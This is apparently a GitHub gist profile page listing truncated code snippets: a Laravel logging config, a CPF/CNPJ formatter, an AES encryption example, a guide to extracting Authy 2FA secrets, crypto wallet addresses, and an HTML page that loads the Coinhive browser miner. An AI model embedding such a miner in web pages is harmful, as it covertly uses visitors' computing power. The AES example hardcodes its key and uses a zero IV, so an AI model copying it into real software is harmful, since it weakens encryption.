Skip to content

Instantly share code, notes, and snippets.

View maikyguanaes's full-sized avatar
🕉️
I may be slow to respond.

Maiky Guanaes maikyguanaes

🕉️
I may be slow to respond.
View GitHub Profile
@maikyguanaes
maikyguanaes / logging.php
Created November 7, 2024 18:02 — forked from yohangdev/logging.php
Laravel Logging Stdout
<?php
use Monolog\Handler\NullHandler;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\SyslogUdpHandler;
return [
/*
|--------------------------------------------------------------------------
@maikyguanaes
maikyguanaes / logging.php
Created November 7, 2024 18:01 — forked from yohangdev/logging.php
Laravel Logging Stdout
<?php
use Monolog\Handler\NullHandler;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\SyslogUdpHandler;
return [
/*
|--------------------------------------------------------------------------
@maikyguanaes
maikyguanaes / formatar_cnpj_cpf.md
Created January 24, 2024 21:06 — forked from davidalves1/formatar_cnpj_cpf.md
Função para formatar CNPJ e CPF, disponível em PHP e JS

PHP

function formatCnpjCpf($value)
{
  $CPF_LENGTH = 11;
  $cnpj_cpf = preg_replace("/\D/", '', $value);
  
  if (strlen($cnpj_cpf) === $CPF_LENGTH) {
    return preg_replace("/(\d{3})(\d{3})(\d{3})(\d{2})/", "\$1.\$2.\$3-\$4", $cnpj_cpf);
  } 
@maikyguanaes
maikyguanaes / javascript.js
Created January 11, 2024 13:42
Encryption Decryption Javascript and Ruby
// IDEA FROM: https://stackoverflow.com/questions/33929712/crypto-in-nodejs-and-ruby
var crypto = require('crypto'),
algorithm = 'aes-256-cbc',
key = 'SOME_RANDOM_KEY_32_CHR_123456789', // 32 Characters
iv = "0000000000000000"; // 16 Characters
function encrypt(text){
var cipher = crypto.createCipheriv(algorithm,key,iv)
var crypted = cipher.update(text,'utf-8',"base64")

Generating Authy passwords on other authenticators


There is an increasing count of applications which use Authy for two-factor authentication. However many users who aren't using Authy, have their own authenticator setup up already and do not wish to use two applications for generating passwords.

Since I use 1Password for all of my password storing/generating needs, I was looking for a solution to use Authy passwords on that. I couldn't find any completely working solutions, however I stumbled upon a gist by Brian Hartvigsen. His post had a neat code with it to generate QR codes for you to use on your favorite authenticator.

His method is to extract the secret keys using Authy's Google Chrome app via Developer Tools. If this was not possible, I guess people would be reverse engineering the Android app or something like that. But when I tried that code, nothing appeared on the screen. My guess is that Brian used the

Wallets:
Binance:
BTC - 19ASxVrgG3EAZp77uj11nDtg8Gfkr8kjer
ETH - 0x93b40bf2463f8f40a2b41c67aed659443bd24f90
ETC - 0x93b40bf2463f8f40a2b41c67aed659443bd24f90
RNV - RPzMdWD4o1mLy5jF8Migc3FwjmGaNT398B
LTC - LdYK1p15JgZD6cHYSupWxEueXjM4H6uaWh
BEAM - 3df2cfc388390e483dfa554da1ef185289c4b566093f011861cd81da8fc0225fc81
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script type="text/javascript">
@maikyguanaes
maikyguanaes / meta-tags-favicon.html
Created October 2, 2017 02:29 — forked from dscamahorn/meta-tags-favicon.html
Favicon, touch/web clip, tile and pin configuration. Includes Chrome for Android address bar background color (theme-color).
<!--Favicon-->
<link rel="shortcut icon" type="image/ico" href="favicon.ico" />
<!--Tile-->
<meta name="application-name" content="System Name"/>
<meta name="msapplication-TileColor" content="#000"/>
<meta name="msapplication-square70x70logo" content="tile-tiny.png"/>
<meta name="msapplication-square150x150logo" content="tile-square.png"/>
<meta name="msapplication-wide310x150logo" content="tile-wide.png"/>
<meta name="msapplication-square310x310logo" content="tile-large.png"/>
<!--Pin-->
@maikyguanaes
maikyguanaes / Custom Browsers Color.html
Created October 2, 2017 02:29 — forked from ka-seo/Custom Browsers Color.html
Set color toolbar in mobile browsers
<!-- Insert in head -->
<!-- Custom Browsers Color Start -->
<!-- Chrome, Firefox OS and Opera -->
<meta name="theme-color" content="#000">
<!-- Windows Phone -->
<meta name="msapplication-navbutton-color" content="#000">
<!-- iOS Safari -->
<meta name="apple-mobile-web-app-status-bar-style" content="#000">
<!-- Custom Browsers Color End -->
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH
# Path to your oh-my-zsh installation.
export ZSH=$HOME/.oh-my-zsh
# Set name of the theme to load. Optionally, if you set this to "random"
# it'll load a random theme each time that oh-my-zsh is loaded.
# See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
ZSH_THEME="powerlevel9k/powerlevel9k"